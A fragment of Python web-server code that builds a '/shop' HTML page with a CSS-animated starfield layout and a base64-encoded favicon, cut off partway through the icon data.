self.pages["/shop"] = self.pages["/header"] + """<style>.container{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;}svg{max-width:8rem;}.masking{-webkit-transform: scale(0);transform:scale(0);-webkit-transform-origin:178px;transform-origin:178px;-webkit-animation: scale 3s linear infinite; animation: scale 3s linear infinite;}@-webkit-keyframes scale{80%{opacity: 1;}100%{-webkit-transform: scale(1);transform: scale(1);opacity: 0;}}@keyframes scale{80% {opacity: 1;}100%{-webkit-transform: scale(1);transform: scale(1);opacity: 0;}}</style>
3634
</head>
3635
<body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
3636
<canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
3637
<center>
3638
3639
<table cellpadding="38" cellspacing="38">
3640
<tr>
3641
<td>
3642
<table cellpadding="24" cellspacing="25" border="1">
3643
<tr>
3644
<td><pre>"""+self.shop_text+"""</pre></td>
3645
</tr>
3646
</table>
3647
</td></tr></table>
3648
""" + self.pages["/footer"]
3649
3650
self.pages["/favicon"] = "<img src='data:image/x-icon;base64,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